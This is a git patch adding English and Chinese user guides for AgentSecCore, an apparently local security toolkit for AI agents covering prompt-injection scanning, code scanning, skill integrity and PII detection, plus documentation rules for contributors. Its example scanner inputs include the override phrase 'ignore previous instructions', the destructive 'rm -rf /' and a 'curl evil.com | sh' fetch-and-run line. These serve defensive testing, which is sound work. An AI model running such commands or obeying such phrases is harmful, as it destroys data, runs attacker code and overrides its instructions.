From ce0b5c18207ade87a869ecf0fc126c2459640868 Mon Sep 17 00:00:00 2001
From: Caspar Zhang <caspar@linux.alibaba.com>
Date: Fri, 3 Jul 2026 18:50:36 +0800
Subject: [PATCH] docs(agent-sec-core): add bilingual user guide and
 documentation guidelines

Add comprehensive user documentation for AgentSecCore (en/zh) covering
all seven capability modules: Prompt Scanner, Code Scanner, Skill Ledger,
PII Checker, Security Baseline, Observability, and Security Events.

Also adds a Documentation Guidelines section to src/agent-sec-core/AGENTS.md
with an Authoring Protocol that mandates code-level verification before
writing any factual claim (enum values, model sources, config fields).

Assisted-by: Qoder:latest
Signed-off-by: Caspar Zhang <caspar@linux.alibaba.com>
---
 .../en/agent-security/agent-sec-core.md       | 335 ++++++++++++++++++
 .../zh/agent-security/agent-sec-core.md       | 335 ++++++++++++++++++
 src/agent-sec-core/AGENTS.md                  |  36 ++
 3 files changed, 706 insertions(+)
 create mode 100644 docs/user-guide/en/agent-security/agent-sec-core.md
 create mode 100644 docs/user-guide/zh/agent-security/agent-sec-core.md

diff --git a/docs/user-guide/en/agent-security/agent-sec-core.md b/docs/user-guide/en/agent-security/agent-sec-core.md
new file mode 100644
index 000000000..28e1ee479
--- /dev/null
+++ b/docs/user-guide/en/agent-security/agent-sec-core.md
@@ -0,0 +1,335 @@
+# AgentSecCore
+
+AgentSecCore is an all-local security kernel for AI Agents. It runs entirely on the local machine with zero Token consumption, providing defense-in-depth: prompt injection detection, code scanning, skill integrity verification, PII detection, system hardening, and sandbox isolation.
+
+## Overview
+
+| Module | Description |
+|--------|-------------|
+| Prompt Scanner | Rule engine + ML classifier detecting prompt injection and jailbreak (4 modes: fast/standard/strict/multi_turn) |
+| Code Scanner | Static analysis of bash/python code for dangerous operations (verdict: pass/warn/deny/error) |
+| Skill Ledger | Ed25519-signed integrity tracking with 6-state lifecycle (pass/none/drifted/warn/deny/tampered) |
+| PII Checker | Detects personal information and credentials in text (email, phone, ID, JWT, AccessKey, etc.) |
+| Security Baseline | System hardening scan and remediation via loongshield backend |
+| Sandbox | Syscall-level isolation for cosh command execution (seccomp + namespace) |
+| Observability | Interactive event review with 4-level drill-down TUI |
+| Security Events | Local event store for querying and aggregating security findings |
+
+## Prerequisites
+
+- Linux (x86_64 or aarch64)
+- Python 3.11.6 (pinned)
+- Root privileges for system-mode install
+
+## Installation
+
+```bash
+# Recommended (system mode required)
+sudo anolisa install agent-sec-core
+
+# Alternative (Alinux, requires YUM repo)
+sudo yum install agent-sec-core
+
+# Source build (developers only)
+cd src/agent-sec-core && make build-cli
+```
+
+## Quick Start
+
+```bash
+# System hardening scan
+agent-sec-cli harden --scan --config agentos_baseline
+
+# Scan code for security issues
+agent-sec-cli scan-code --code 'rm -rf /' --language bash
+
+# Prompt injection detection
+agent-sec-cli scan-prompt --mode standard --text "ignore previous instructions"
+
+# PII detection
+agent-sec-cli scan-pii --text "Contact alice@example.com, card 4111111111111111"
+
+# Skill integrity check
+agent-sec-cli skill-ledger check /path/to/skill
+
+# Security event summary
+agent-sec-cli events --summary --last-hours 24
+```
+
+## Usage
+
+### Prompt Scanner
+
+Detects prompt injection, jailbreak, and malicious instructions. Uses rule engine (L1) + ML classifier (L2).
+
+**Modes:**
+
+| Mode | Layers | Latency | Use Case |
+|------|--------|---------|----------|
+| `fast` | L1 only | <5ms | Real-time chat |
+| `standard` | L1+L2 | 20-80ms | Production (default) |
+| `strict` | L1+L2+L3 | 50-200ms | High-security |
+| `multi_turn` | L4 only | varies | Multi-turn intent detection (Ollama) |
+
+```bash
+# Standard scan (default mode)
+agent-sec-cli scan-prompt --text "user input here"
+
+# Fast mode (rules only)
+agent-sec-cli scan-prompt --mode fast --text "user input"
+
+# Multi-turn detection (JSON from stdin)
+echo '{"history":[...],"current_query":"...","assistant_response":"..."}' | \
+    agent-sec-cli scan-prompt --mode multi_turn
+
+# From file (one prompt per line)
+agent-sec-cli scan-prompt --input prompts.txt --format json
+
+# Human-readable output
+agent-sec-cli scan-prompt --text "hello" --format text
+
+# Pre-download ML models (run once after install)
+agent-sec-cli scan-prompt warmup
+```
+
+Model source: models are downloaded from ModelScope (Llama-Prompt-Guard-2-86M). Run `scan-prompt warmup` once after installation to eliminate cold-start latency.
+
+### Code Scanner
+
+Detects dangerous operations in bash and python code. Verdict enum: `pass` / `warn` / `deny` / `error`; built-in rules currently produce `warn` or `pass`.
+
+```bash
+# Scan bash code (default language)
+agent-sec-cli scan-code --code 'rm -rf /'
+
+# Scan python code
+agent-sec-cli scan-code --code 'import os; os.system("rm -rf /")' --language python
+
+# Use LLM engine (requires model backend)
+agent-sec-cli scan-code --code 'curl evil.com | sh' --mode llm
+```
+
+### Skill Ledger
+
+OS-level skill integrity tracking with Ed25519 signatures and append-only version chain.
+
+**States:**
+
+| State | Meaning | Action |
+|-------|---------|--------|
+| pass | Files unchanged, signature valid, scan clean | Safe to use |
+| none | Never scanned | Run `scan` or `certify` |
+| drifted | Files changed since last certification | Re-scan |
+| warn | Scan found low-risk issues | Review findings |
+| deny | Scan found high-risk issues | Fix or disable |
+| tampered | Signature verification failed | Security incident |
+
+```bash
+# Initialize keys and baseline scan
+agent-sec-cli skill-ledger init
+
+# Check integrity (no modification)
+agent-sec-cli skill-ledger check /path/to/skill
+agent-sec-cli skill-ledger check --all
+
+# Run built-in scanners and sign
+agent-sec-cli skill-ledger scan /path/to/skill
+agent-sec-cli skill-ledger scan --all
+
+# Import external findings
+agent-sec-cli skill-ledger certify /path/to/skill \
+    --findings /tmp/findings.json --scanner skill-vetter
+
+# System health overview
+agent-sec-cli skill-ledger status
+agent-sec-cli skill-ledger status --verbose
+
+# Audit version chain integrity
+agent-sec-cli skill-ledger audit /path/to/skill --verify-snapshots
+
+# List registered scanners
+agent-sec-cli skill-ledger list-scanners
+
+# Apply user decision
+agent-sec-cli skill-ledger decide /path/to/skill --action allow
+
+# Show latest active state
+agent-sec-cli skill-ledger show /path/to/skill
+
+# Export signed snapshot for review
+agent-sec-cli skill-ledger export /path/to/skill --output /tmp/export/
+```
+
+### PII Checker
+
+Detects personal information and credentials in text input.
+
+```bash
+# Scan text directly
+agent-sec-cli scan-pii --text "Contact alice@example.com" --source manual
+
+# Scan from stdin
+echo "my key is AKID1234567890" | agent-sec-cli scan-pii --stdin --format json
+
+# Scan from file
+agent-sec-cli scan-pii --input ./sample.log --source user_input
+
+# With redacted output
+agent-sec-cli scan-pii --text "card 4111111111111111" --redact-output
+
+# Include low-confidence findings
+agent-sec-cli scan-pii --text "some text" --include-low-confidence
+```
+
+### Security Baseline
+
+System hardening via `agent-sec-cli harden` (wraps loongshield seharden on Alinux).
+
+```bash
+# Compliance scan (default: agentos_baseline profile)
+agent-sec-cli harden --scan --config agentos_baseline
+
+# Preview remediation (dry run)
+agent-sec-cli harden --reinforce --dry-run --config agentos_baseline
+
+# Execute remediation (requires root)
+agent-sec-cli harden --reinforce --config agentos_baseline
+
+# OpenClaw-specific baseline
+agent-sec-cli harden --scan --level openclaw
+
+# Show full downstream help
+agent-sec-cli harden --downstream-help
+```
+
+### Observability
+
+Interactive event review tool for auditing Agent behavior.
+
+```bash
+# Open interactive TUI (requires interactive terminal)
+agent-sec-cli observability review
+
+# Record an observability event (from plugin, via stdin)
+echo '{"hook":"before_tool_call",...}' | agent-sec-cli observability record --stdin
+
+# Print observability record JSON schema
+agent-sec-cli observability schema
+
+# Per-session debrief report
+agent-sec-cli observability report --last
+agent-sec-cli observability report --session-id <id> --format json
+```
+
+### Security Events
+
+Query the local security event store.
+
+```bash
+# Recent events (table format, default)
+agent-sec-cli events --last-hours 24
+
+# JSON output
+agent-sec-cli events --last-hours 24 --output json
+
+# Filter by category
+agent-sec-cli events --category prompt_scan
+
+# Filter by time range
+agent-sec-cli events --since 2026-01-01T00:00:00 --until 2026-01-02T00:00:00
+
+# Count events
+agent-sec-cli events --count --last-hours 24
+
+# Breakdown by category
+agent-sec-cli events --count-by category --last-hours 24
+
+# Pagination
+agent-sec-cli events --offset 50 --limit 20
+
+# Security posture summary
+agent-sec-cli events --summary
+```
+
+## Agent Framework Integration
+
+### OpenClaw
+
+Deploy via script:
+
+```bash
+# From installed path (RPM)
+/opt/agent-sec/openclaw-plugin/scripts/deploy.sh
+
+# From source
+./openclaw-plugin/scripts/deploy.sh
+```
+
+After deployment, configure:
+
+```bash
+# Enable prompt scan blocking
+openclaw config set plugins.entries.agent-sec.config.promptScanBlock true
+
+# Enable code scan approval mode
+openclaw config set plugins.entries.agent-sec.config.codeScanRequireApproval true
+
+# Restart gateway to load
+openclaw gateway restart
+```
+
+### Hermes
+
+Deploy via script:
+
+```bash
+# From installed path (RPM)
+/opt/agent-sec/hermes-plugin/scripts/deploy.sh
+
+# From source
+./hermes-plugin/scripts/deploy.sh
+```
+
+Plugin config at `~/.hermes/plugins/agent-sec-core-hermes-plugin/config.toml`:
+
+```toml
+[capabilities.code-scan]
+enabled = true
+timeout = 10
+enable_block = false    # false=observe, true=block
+
+[capabilities.pii-scan-user-input]
+enabled = true
+timeout = 10
+
+[capabilities.skill-ledger]
+enabled = true
+timeout = 5
+policy = "ask"          # ask (default) | warn | block | debug
+```
+
+### Copilot Shell (cosh)
+
+The cosh extension is installed automatically during `make install` or via RPM. No manual enablement required — hooks are loaded at cosh startup.
+
+Extension path:
+- User install: `~/.copilot-shell/extensions/agent-sec-core/`
+- RPM install: `/usr/share/anolisa/extensions/agent-sec-core/`
+
+## FAQ
+
+**Q: Does AgentSecCore consume Tokens?**
+
+A: No. All processing is local. No external API calls, no Token cost.
+
+**Q: What is the difference between `harden` and `loongshield`?**
+
+A: `agent-sec-cli harden` is the ANOLISA unified entry point that wraps `loongshield seharden` with default configuration. On Alinux systems, both work; `harden` adds the `agentos_baseline` profile by default.
+
+**Q: How do I update the ML model for prompt scanning?**
+
+A: Run `agent-sec-cli scan-prompt warmup` again. It downloads the latest model from ModelScope.
+
+**Q: What does Skill Ledger `tampered` mean?**
+
+A: Files are unchanged but the digital signature verification failed — the manifest metadata itself may have been modified. Stop using the skill immediately and investigate.
diff --git a/docs/user-guide/zh/agent-security/agent-sec-core.md b/docs/user-guide/zh/agent-security/agent-sec-core.md
new file mode 100644
index 000000000..bedf3e31f
--- /dev/null
+++ b/docs/user-guide/zh/agent-security/agent-sec-core.md
@@ -0,0 +1,335 @@
+# AgentSecCore
+
+AgentSecCore 是面向 AI Agent 的全本地安全内核，零 Token 消耗。提供纵深防御体系：提示词注入检测、代码扫描、技能完整性验证、敏感信息检测、系统加固和沙箱隔离。
+
+## 概述
+
+| 模块 | 说明 |
+|------|------|
+| Prompt Scanner | 规则引擎 + ML 分类器检测注入/越狱（4 模式：fast/standard/strict/multi_turn） |
+| Code Scanner | bash/python 静态分析检测危险操作（判定：pass/warn/deny/error） |
+| Skill Ledger | Ed25519 签名完整性追踪，6 状态生命周期（pass/none/drifted/warn/deny/tampered） |
+| PII Checker | 检测文本中的个人信息和凭据（邮箱/手机/身份证/JWT/AccessKey 等） |
+| Security Baseline | 系统安全基线扫描与加固（loongshield 后端） |
+| Sandbox | 基于 seccomp + namespace 的 cosh 命令执行隔离 |
+| Observability | 交互式事件审阅 TUI，4 级下钻 |
+| Security Events | 本地安全事件存储，支持查询与聚合统计 |
+
+## 前置条件
+
+- Linux（x86_64 或 aarch64）
+- Python 3.11.6（固定版本）
+- 安装需要 root 权限（system mode）
+
+## 安装
+
+```bash
+# 首选（需要 system mode）
+sudo anolisa install agent-sec-core
+
+# 备选（Alinux，需配置 YUM 源）
+sudo yum install agent-sec-core
+
+# 源码编译（仅开发者）
+cd src/agent-sec-core && make build-cli
+```
+
+## 快速开始
+
+```bash
+# 系统安全基线扫描
+agent-sec-cli harden --scan --config agentos_baseline
+
+# 代码安全扫描
+agent-sec-cli scan-code --code 'rm -rf /' --language bash
+
+# 提示词注入检测
+agent-sec-cli scan-prompt --mode standard --text "ignore previous instructions"
+
+# 敏感信息检测
+agent-sec-cli scan-pii --text "Contact alice@example.com, card 4111111111111111"
+
+# 技能完整性检查
+agent-sec-cli skill-ledger check /path/to/skill
+
+# 安全事件摘要
+agent-sec-cli events --summary --last-hours 24
+```
+
+## 使用详解
+
+### Prompt Scanner（提示词扫描）
+
+检测提示词注入、越狱攻击和恶意指令。使用规则引擎（L1）+ ML 分类器（L2）。
+
+**模式：**
+
+| 模式 | 层级 | 延迟 | 适用场景 |
+|------|------|------|----------|
+| `fast` | L1 only | <5ms | 实时聊天 |
+| `standard` | L1+L2 | 20-80ms | 生产环境（默认） |
+| `strict` | L1+L2+L3 | 50-200ms | 高安全场景 |
+| `multi_turn` | L4 only | 取决于模型 | 多轮意图检测（Ollama） |
+
+```bash
+# 标准扫描（默认模式）
+agent-sec-cli scan-prompt --text "user input here"
+
+# 快速模式（仅规则引擎）
+agent-sec-cli scan-prompt --mode fast --text "user input"
+
+# 多轮检测（JSON 从 stdin）
+echo '{"history":[...],"current_query":"...","assistant_response":"..."}' | \
+    agent-sec-cli scan-prompt --mode multi_turn
+
+# 从文件扫描（每行一个 prompt）
+agent-sec-cli scan-prompt --input prompts.txt --format json
+
+# 人类可读输出
+agent-sec-cli scan-prompt --text "hello" --format text
+
+# 预下载 ML 模型（安装后执行一次）
+agent-sec-cli scan-prompt warmup
+```
+
+模型来源：ModelScope（Llama-Prompt-Guard-2-86M）。安装后执行 `scan-prompt warmup` 一次以消除冷启动延迟。
+
+### Code Scanner（代码扫描）
+
+检测 bash 和 python 代码中的危险操作。判定枚举：`pass` / `warn` / `deny` / `error`；当前内置规则产生 `warn` 或 `pass`。
+
+```bash
+# 扫描 bash 代码（默认语言）
+agent-sec-cli scan-code --code 'rm -rf /'
+
+# 扫描 python 代码
+agent-sec-cli scan-code --code 'import os; os.system("rm -rf /")' --language python
+
+# 使用 LLM 引擎（需要模型后端）
+agent-sec-cli scan-code --code 'curl evil.com | sh' --mode llm
+```
+
+### Skill Ledger（技能账本）
+
+OS 级技能完整性追踪，Ed25519 签名 + 只追加版本链。
+
+**状态：**
+
+| 状态 | 含义 | 建议处置 |
+|------|------|----------|
+| pass | 文件未变 + 签名有效 + 扫描通过 | 可正常使用 |
+| none | 从未扫描 | 执行 `scan` 或 `certify` |
+| drifted | 文件已变，与签名不一致 | 重新扫描 |
+| warn | 扫描发现低风险 | 审查发现 |
+| deny | 扫描发现高风险 | 修复或禁用 |
+| tampered | 签名校验失败 | 安全事件 |
+
+```bash
+# 初始化密钥并基线扫描
+agent-sec-cli skill-ledger init
+
+# 检查完整性（不修改）
+agent-sec-cli skill-ledger check /path/to/skill
+agent-sec-cli skill-ledger check --all
+
+# 运行内置扫描器并签名
+agent-sec-cli skill-ledger scan /path/to/skill
+agent-sec-cli skill-ledger scan --all
+
+# 导入外部扫描发现
+agent-sec-cli skill-ledger certify /path/to/skill \
+    --findings /tmp/findings.json --scanner skill-vetter
+
+# 系统健康概览
+agent-sec-cli skill-ledger status
+agent-sec-cli skill-ledger status --verbose
+
+# 审计版本链完整性
+agent-sec-cli skill-ledger audit /path/to/skill --verify-snapshots
+
+# 列出已注册扫描器
+agent-sec-cli skill-ledger list-scanners
+
+# 应用用户决策
+agent-sec-cli skill-ledger decide /path/to/skill --action allow
+
+# 显示最新活跃状态
+agent-sec-cli skill-ledger show /path/to/skill
+
+# 导出签名快照供审阅
+agent-sec-cli skill-ledger export /path/to/skill --output /tmp/export/
+```
+
+### PII Checker（敏感信息检测）
+
+检测文本输入中的个人信息和凭据。
+
+```bash
+# 直接扫描文本
+agent-sec-cli scan-pii --text "Contact alice@example.com" --source manual
+
+# 从 stdin 扫描
+echo "my key is AKID1234567890" | agent-sec-cli scan-pii --stdin --format json
+
+# 从文件扫描
+agent-sec-cli scan-pii --input ./sample.log --source user_input
+
+# 带脱敏输出
+agent-sec-cli scan-pii --text "card 4111111111111111" --redact-output
+
+# 包含低置信度发现
+agent-sec-cli scan-pii --text "some text" --include-low-confidence
+```
+
+### Security Baseline（安全基线）
+
+通过 `agent-sec-cli harden` 执行系统安全加固（Alinux 上底层调用 loongshield seharden）。
+
+```bash
+# 合规扫描（默认 agentos_baseline 配置）
+agent-sec-cli harden --scan --config agentos_baseline
+
+# 预演修复（dry run）
+agent-sec-cli harden --reinforce --dry-run --config agentos_baseline
+
+# 执行加固（需要 root）
+agent-sec-cli harden --reinforce --config agentos_baseline
+
+# OpenClaw 专属基线
+agent-sec-cli harden --scan --level openclaw
+
+# 显示完整 loongshield 帮助
+agent-sec-cli harden --downstream-help
+```
+
+### Observability（可观测）
+
+交互式事件审阅工具，用于审计 Agent 行为。
+
+```bash
+# 打开交互式 TUI（需要交互终端）
+agent-sec-cli observability review
+
+# 记录可观测事件（插件调用，通过 stdin）
+echo '{"hook":"before_tool_call",...}' | agent-sec-cli observability record --stdin
+
+# 输出可观测记录 JSON Schema
+agent-sec-cli observability schema
+
+# 按会话生成报告
+agent-sec-cli observability report --last
+agent-sec-cli observability report --session-id <id> --format json
+```
+
+### Security Events（安全事件）
+
+查询本地安全事件存储。
+
+```bash
+# 最近事件（table 格式，默认）
+agent-sec-cli events --last-hours 24
+
+# JSON 输出
+agent-sec-cli events --last-hours 24 --output json
+
+# 按类别过滤
+agent-sec-cli events --category prompt_scan
+
+# 按时间范围过滤
+agent-sec-cli events --since 2026-01-01T00:00:00 --until 2026-01-02T00:00:00
+
+# 统计事件数量
+agent-sec-cli events --count --last-hours 24
+
+# 按类别分组统计
+agent-sec-cli events --count-by category --last-hours 24
+
+# 分页
+agent-sec-cli events --offset 50 --limit 20
+
+# 安全态势摘要
+agent-sec-cli events --summary
+```
+
+## Agent 框架集成
+
+### OpenClaw
+
+通过 deploy 脚本部署：
+
+```bash
+# 从已安装路径（RPM）
+/opt/agent-sec/openclaw-plugin/scripts/deploy.sh
+
+# 从源码
+./openclaw-plugin/scripts/deploy.sh
+```
+
+部署后配置：
+
+```bash
+# 启用 prompt 扫描拦截
+openclaw config set plugins.entries.agent-sec.config.promptScanBlock true
+
+# 启用代码扫描审批模式
+openclaw config set plugins.entries.agent-sec.config.codeScanRequireApproval true
+
+# 重启 gateway 加载
+openclaw gateway restart
+```
+
+### Hermes
+
+通过 deploy 脚本部署：
+
+```bash
+# 从已安装路径（RPM）
+/opt/agent-sec/hermes-plugin/scripts/deploy.sh
+
+# 从源码
+./hermes-plugin/scripts/deploy.sh
+```
+
+插件配置位于 `~/.hermes/plugins/agent-sec-core-hermes-plugin/config.toml`：
+
+```toml
+[capabilities.code-scan]
+enabled = true
+timeout = 10
+enable_block = false    # false=观察模式, true=阻断
+
+[capabilities.pii-scan-user-input]
+enabled = true
+timeout = 10
+
+[capabilities.skill-ledger]
+enabled = true
+timeout = 5
+policy = "ask"          # ask（默认）| warn | block | debug
+```
+
+### Copilot Shell（cosh）
+
+cosh 扩展在 `make install` 或 RPM 安装时自动部署，无需手动启用 — cosh 启动时自动加载 hook。
+
+扩展路径：
+- 用户安装：`~/.copilot-shell/extensions/agent-sec-core/`
+- RPM 安装：`/usr/share/anolisa/extensions/agent-sec-core/`
+
+## 常见问题
+
+**Q: AgentSecCore 是否消耗 Token？**
+
+A: 不消耗。全部本地运行，无外部 API 调用，无 Token 开销。
+
+**Q: `harden` 和 `loongshield` 有什么区别？**
+
+A: `agent-sec-cli harden` 是 ANOLISA 统一入口，底层调用 `loongshield seharden` 并自动添加 `agentos_baseline` 配置。Alinux 上两者都可用；`harden` 省去了手动指定配置的步骤。
+
+**Q: 如何更新 Prompt Scanner 的 ML 模型？**
+
+A: 重新执行 `agent-sec-cli scan-prompt warmup`，它会下载最新模型。
+
+**Q: Skill Ledger 出现 `tampered` 怎么办？**
+
+A: 说明文件未变但数字签名校验失败——签名元数据本身可能被篡改。立即停用该 Skill 并排查。
diff --git a/src/agent-sec-core/AGENTS.md b/src/agent-sec-core/AGENTS.md
index 89460060a..1b3cbcf74 100644
--- a/src/agent-sec-core/AGENTS.md
+++ b/src/agent-sec-core/AGENTS.md
@@ -422,3 +422,39 @@ uv run --project agent-sec-cli pytest tests/unit-test/hermes-plugin/ -v
 ## skills
 
 > TODO: 待补充
+
+---
+
+## User-Facing Documentation Guidelines
+
+### Authoring Protocol
+
+Every factual assertion in this section and in user-facing docs MUST be verified against source code before writing. Specifically:
+
+1. **Enum/value-set claims** — read the defining source file that declares the enum
+2. **External dependency sources** — grep for download/fetch calls in the relevant module
+3. **Config field names** — read the config-loading function for that specific capability
+4. **Module/section counts** — count actual headings in the user guide, never rely on memory
+5. **Cross-file consistency** — if this file prescribes ordering/structure, verify the user guide matches before commit
+6. **Intra-file consistency** — overview tables, section headings, and enumeration lists within the same document must agree
+
+Do NOT write guidelines from design intent or mental models. Write them AFTER verifying the implementation.
+
+### Value Proposition
+- Lead with "all-local, zero Token cost" — addresses the common misconception that runtime security = expensive API calls or performance overhead.
+- The three-layer defense framing (pre-execution prevention → runtime detection → kernel-level containment) helps users understand why multiple modules exist.
+
+### Content Decisions
+- Eight modules in overview table (Sandbox is architecture-only, no dedicated usage section). Seven usage sections: Prompt Scanner, Code Scanner, Skill Ledger, PII Checker, Security Baseline, Observability, Security Events. Do not merge them.
+- Agent integration order in docs: CLI (always available) → OpenClaw plugin → Hermes plugin → cosh hook (auto-loaded, no user action needed). This reflects manual-effort-first ordering.
+- `loongshield` may be mentioned alongside `agent-sec-cli harden` — loongshield is an Alinux system component users already know; `agent-sec-cli harden` is ANOLISA's unified entry point wrapping it.
+- ML model warmup: state that models come from ModelScope (Llama-Prompt-Guard-2-86M). Never reference internal model registries.
+
+### Gotchas to Warn About
+- Code Scanner verdict enum defines `pass` / `warn` / `deny` / `error`. Built-in rules currently produce `warn` or `pass`; `deny` and `error` are available for custom/LLM-driven rules. Do not invent levels outside this enum (no "critical", no "info").
+- Skill Ledger has exactly 6 states: pass / none / drifted / warn / deny / tampered. The state table must always appear in full when documenting Skill Ledger.
+- Default plugin behavior is observe-only (fail-open). Users must explicitly enable blocking — always document both modes.
+
+### Terminology
+- "Security Baseline" not "hardening scan" (the feature name in CLI is `harden`, but user docs should call the concept "Security Baseline")
+- "Skill Ledger" not "skill integrity" or "skill verification" (the latter was v0.3 naming, now superseded)